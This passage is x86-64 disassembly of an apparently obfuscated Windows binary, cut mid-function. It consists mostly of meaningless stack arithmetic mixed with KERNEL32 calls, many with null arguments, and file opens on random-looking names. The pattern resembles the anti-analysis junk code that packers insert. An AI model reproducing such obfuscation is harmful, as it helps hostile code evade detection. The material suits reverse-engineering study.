mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ba8], ax
lea rax, [rsp + 0x2a7]
mov qword [rsp + 0x143b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x9790]
mov ecx, dword [rsp + 0xa3c0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a4], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov dword [rsp + 0xa518], eax
mov eax, dword [rsp + 0xa4d0]
mov ecx, dword [rsp + 0xa38c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov eax, dword [rsp + 0xa38c]
mov dword [0x14028ee04], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b50], ax
movzx eax, byte [rsp + 0x5e9]
mov byte [rsp + 0x662], al
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x649]
sub eax, ecx
mov byte [rsp + 0x64e], al
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [rsp + 0x2b54]
add eax, ecx
mov word [rsp + 0x1dec], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x14380]
mov rcx, qword [rsp + 0x14218]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa424], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x763c], eax
movzx eax, word [rsp + 0x2bb0]
mov word [rsp + 0x2bfc], ax
movzx eax, byte [rsp + 0x659]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x142a0]
mov byte [rcx], al
mov eax, dword [rsp + 0xa508]
mov ecx, dword [rsp + 0x866c]
add ecx, eax
mov eax, ecx
mov dword [0x14028ee30], eax
mov eax, dword [rsp + 0xa428]
mov dword [rsp + 0xa51c], eax
mov eax, dword [rsp + 0x9580]
mov ecx, dword [0x14028ee88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2b0], eax
mov eax, dword [rsp + 0xa518]
mov dword [rsp + 0xa520], eax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d5], al
mov edx, 0x10c
mov rcx, qword [rsp + 0x14230]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa324], eax
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x1820]
sar eax, cl
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa41c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ea0], eax
mov eax, dword [0x14028ee1c]
mov ecx, dword [rsp + 0xa340]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x90bc], eax
mov eax, dword [rsp + 0xa388]
mov dword [rsp + 0xa524], eax
mov eax, dword [rsp + 0xa3f8]
mov rcx, qword [rsp + 0x140d0]
mov qword [rsp + 0x143c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x143c0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402826fc], eax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x75e0], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x632]
sub eax, ecx
mov byte [rsp + 0x64a], al
lea rax, [rsp + 0x2bd4]
mov qword [rsp + 0x143c8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa49c], eax
movzx eax, word [0x1402826e0]
movzx ecx, word [rsp + 0x1820]
and eax, ecx
mov word [rsp + 0x1740], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov byte [rsp + 0x663], al
mov rax, qword [rsp + 0x14380]
mov ecx, dword [rsp + 0xa46c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8598], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x141e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x763c], eax
movzx eax, byte [rsp + 0x651]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba8]
add eax, ecx
mov word [0x140282700], ax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa388], eax
mov eax, dword [rsp + 0xa4c4]
mov dword [rsp + 0xa528], eax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4c4], eax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x74b0], eax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov word [rsp + 0x2c00], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.65CB9KbgvI7vIjmpwBFctTZrgVd5lli2K
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x143d0], rax
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x656], al
lea rax, [rsp + 0xa390]
mov qword [rsp + 0x143d8], rax
mov eax, dword [rsp + 0xa338]
mov rcx, qword [rsp + 0x141e8]
mov qword [rsp + 0x143e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x143e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa378], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13f08], rax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x14028eec0], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xa830
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa2dc], eax
movsx eax, word [rsp + 0x2b98]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x24a0], ax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba8]
or eax, ecx
mov word [rsp + 0x2b4c], ax
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x398]
and eax, ecx
mov byte [rsp + 0x46c], al
mov eax, dword [rsp + 0x7b80]
mov dword [rsp + 0xa52c], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa42c], eax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov dword [rsp + 0xa530], eax
mov eax, dword [rsp + 0xa470]
mov ecx, dword [rsp + 0xa264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa39c], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2bc], eax
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2680], ax
movzx eax, byte [rsp + 0x398]
mov byte [0x14028ee00], al
mov eax, dword [rsp + 0x80c0]
mov ecx, dword [rsp + 0xa4c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x820c], eax
mov eax, dword [rsp + 0x9a0c]
mov dword [rsp + 0xa534], eax
lea rdx, [rsp + 0xa444]
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa538], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e70], eax
mov rax, qword [0x14028eea8]
mov ecx, dword [rsp + 0x925c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14380]
mov dword [rcx], eax
lea rax, [rsp + 0x2134]
mov qword [rsp + 0x143e8], rax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f2], al
movzx eax, word [rsp + 0x2b7c]
mov word [rsp + 0x2c04], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x64c], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa2b4], eax
mov eax, dword [rsp + 0xa520]
mov ecx, dword [rsp + 0x6fd0]
or ecx, eax
mov eax, ecx
mov dword [0x14028eec4], eax
movzx ecx, word [rsp + 0x2b3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c08], ax
mov eax, dword [rsp + 0xa238]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x143f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x143f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa498], eax
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x143f8], rax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b94]
sar eax, cl
mov word [rsp + 0x1dac], ax
mov eax, dword [rsp + 0xa2bc]
mov dword [rsp + 0xa53c], eax
lea rcx, [rsp + 0x24590]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa2b4], eax
mov rax, qword [rsp + 0x14228]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14378]
mov dword [rcx], eax
mov eax, dword [0x1402826f0]
mov ecx, dword [rsp + 0xa4b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fc8], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa2e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4b8], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1840]
sub eax, ecx
mov rcx, qword [rsp + 0x141d8]
mov word [rcx], ax
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x143f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14028eea0], al
mov eax, dword [rsp + 0xa4f4]
mov dword [rsp + 0xa540], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa500]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6608], eax
mov eax, dword [rsp + 0x8248]
mov dword [rsp + 0xa544], eax
mov eax, dword [rsp + 0xa304]
mov ecx, dword [rsp + 0x6564]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d28], eax
mov rax, qword [rsp + 0x143a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x75e0], eax
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bb4]
sub eax, ecx
mov word [rsp + 0x1fa0], ax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov byte [rsp + 0x664], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x45f0
mov rcx, qword [rsp + 0x143b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa2a0], eax
lea rax, [rsp + 0x2b50]
mov qword [0x14028edf8], rax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14238]
mov qword [rsp + 0x14400], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14400]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa424], eax
mov eax, dword [rsp + 0xa388]
mov ecx, dword [rsp + 0x7b28]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14408], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa548], eax
movzx eax, byte [rsp + 0x65c]
mov byte [rsp + 0x665], al
movzx eax, word [rsp + 0x2bc8]
movzx ecx, word [rsp + 0x1cc0]
xor eax, ecx
mov word [rsp + 0x2bb8], ax
mov eax, dword [rsp + 0xa278]
movzx ecx, al
mov eax, dword [rsp + 0xa410]
sar eax, cl
mov dword [rsp + 0x8c40], eax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x14218]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov dword [rsp + 0xa54c], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x14260]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x141f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1740]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140282704], ax
movzx eax, byte [rsp + 0x65f]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65c], al
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xa550], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa2e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa374], eax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [0x14028eec0]
sub eax, ecx
mov byte [rsp + 0x553], al
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
imul eax, eax, 0x747
mov word [rsp + 0x1d78], ax
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b68]
and eax, ecx
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14228]
mov dword [rcx], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d28]
add ecx, eax
mov eax, ecx
mov dword [0x140282708], eax
mov eax, dword [rsp + 0xa554]
mov dword [rsp + 0xa558], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x866c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa474], eax
mov eax, dword [rsp + 0xa2b0]
mov ecx, dword [rsp + 0xa420]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa51c], eax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x663]
shl eax, cl
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1840], ax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov dword [rsp + 0xa55c], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4f4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c8], eax
mov eax, dword [rsp + 0x872c]
mov ecx, dword [rsp + 0x8fc8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6608], eax
mov rax, qword [rsp + 0x14178]
mov rcx, qword [rsp + 0x140f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028ee1c], eax
lea rdx, [rsp + 0xa3b0]
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa3b0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14410], rax
movzx eax, word [rsp + 0x2134]
mov word [rsp + 0x2c0c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movzx eax, byte [rsp + 0x65e]
movzx ecx, byte [0x140281daa]
sub eax, ecx
mov byte [rsp + 0x4f2], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x143c8]
movzx eax, word [rax]
mov word [rsp + 0x2c10], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1cf5
mov rcx, qword [rsp + 0x14370]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa49c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x619]
sub eax, ecx
mov byte [rsp + 0x654], al
mov eax, dword [0x14028eec4]
mov ecx, dword [rsp + 0xa46c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70f8], eax
mov rax, qword [rsp + 0x14140]
mov ecx, dword [rsp + 0x9a1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa438], eax
movzx eax, word [rsp + 0x2bc4]
movzx ecx, word [rsp + 0x2bfc]
sub eax, ecx
mov word [rsp + 0x2be4], ax
movzx eax, byte [0x140281dbb]
mov byte [rsp + 0x667], al
mov rax, qword [rsp + 0x14238]
mov ecx, dword [rsp + 0xa33c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14028ee60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14288]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8248], eax
mov eax, dword [0x1402826c4]
mov dword [rsp + 0xa560], eax
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [rsp + 0xa42c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa4bc], eax
movzx eax, byte [rsp + 0x640]
movzx ecx, byte [0x14028eec1]
shl eax, cl
mov byte [rsp + 0x5f5], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
xor eax, ecx
mov word [rsp + 0x24c8], ax
mov eax, dword [rsp + 0xa4f8]
mov rcx, qword [rsp + 0x14098]
mov qword [rsp + 0x14418], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14418]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa480], eax
lea rax, [0x1402826ec]
mov qword [rsp + 0x14420], rax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa4e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3bc], eax
mov rax, qword [rsp + 0x14178]
mov rcx, qword [rsp + 0x14260]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14028270c], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [0x1402826b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c40], eax
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x14428], rax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13ea8]
mov byte [rcx], al
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x14430], rax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65a], al
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov dword [rsp + 0xa564], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa438]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa454], eax
movzx eax, word [rsp + 0x2134]
movzx ecx, word [rsp + 0x2b30]
sub eax, ecx
mov word [rsp + 0x1740], ax
lea rax, [rsp + 0x2cd]
mov qword [0x14028edf0], rax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov dword [rsp + 0xa568], eax
mov rax, qword [rsp + 0x14140]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a1c], eax
mov rax, qword [rsp + 0x14140]
mov ecx, dword [rsp + 0xa55c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a78], eax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov ecx, dword [0x14028eec4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x14278]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x640], al
movzx eax, word [rsp + 0x2c00]
mov word [rsp + 0x2c14], ax
movzx ecx, word [rsp + 0x2bd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b70], ax
mov rax, qword [rsp + 0x140d0]
mov ecx, dword [rsp + 0x76bc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa374], eax
lea rax, [rsp + 0x6608]
mov qword [rsp + 0x14438], rax
lea rax, [rsp + 0x2be8]
mov qword [0x14028ede8], rax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x64c], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf8]
sar eax, cl
mov word [rsp + 0x2a0c], ax
movzx eax, byte [rsp + 0x62f]
mov byte [rsp + 0x668], al
mov rax, qword [rsp + 0x14228]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x79a4], eax
mov rax, qword [rsp + 0x14380]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9dbc], eax
mov rax, qword [rsp + 0x143a8]
mov ecx, dword [0x14028ee04]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa338], eax
mov eax, dword [rsp + 0xa494]
mov ecx, dword [rsp + 0x9a1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa39c]
mov dword [rsp + 0xa56c], eax
movzx eax, byte [rsp + 0x2cd]
movzx ecx, byte [rsp + 0x631]
sub eax, ecx
mov byte [rsp + 0x65a], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
mov word [0x14028ede4], ax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa4f0], eax
lea rax, [rsp + 0xa3c4]
mov qword [rsp + 0x14440], rax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa558]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3c8], eax
mov eax, dword [rsp + 0x9e70]
mov dword [rsp + 0xa570], eax
mov rax, qword [rsp + 0x14248]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14180]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x34e]
movzx ecx, byte [0x140281daa]
add eax, ecx
mov rcx, qword [rsp + 0x142a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
mov word [rsp + 0x2c18], ax
movsx eax, byte [rsp + 0x64a]
movsx ecx, byte [rsp + 0x65b]
add eax, ecx
mov byte [rsp + 0x553], al
lea rax, [rsp + 0x2b34]
mov qword [rsp + 0x14448], rax
mov rax, qword [rsp + 0x14228]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402826d4], eax
mov rax, qword [rsp + 0x140c8]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3e4], eax
lea rcx, [rsp + 0x24470]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa29c], eax
movzx eax, word [rsp + 0x2964]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b50], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x646]
shl eax, cl
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14420]
mov qword [rsp + 0x14450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14450]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa454], eax
mov eax, dword [rsp + 0xa24c]
mov dword [rsp + 0xa574], eax
mov rax, qword [rsp + 0x14420]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa3cc], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa434], eax
movzx eax, word [rsp + 0x15c8]
mov word [rsp + 0x2c1c], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14028ee6a], al
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7888], eax
mov rax, qword [rsp + 0x142d8]
mov rcx, qword [rsp + 0x143d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.cjGLKBgxfHIw_bgjH7813enOc1L8bM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14458], rax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa570]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa448], eax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov dword [rsp + 0xa578], eax
movsx eax, byte [rsp + 0x647]
movsx ecx, byte [rsp + 0x642]
sub eax, ecx
mov byte [rsp + 0x639], al
movzx eax, word [0x14028ee40]
mov word [rsp + 0x2c20], ax
movzx eax, word [rsp + 0x2c0c]
movzx ecx, word [rsp + 0x2b4c]
sub eax, ecx
mov rcx, qword [rsp + 0x14240]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281dc6], al
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8df4], eax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
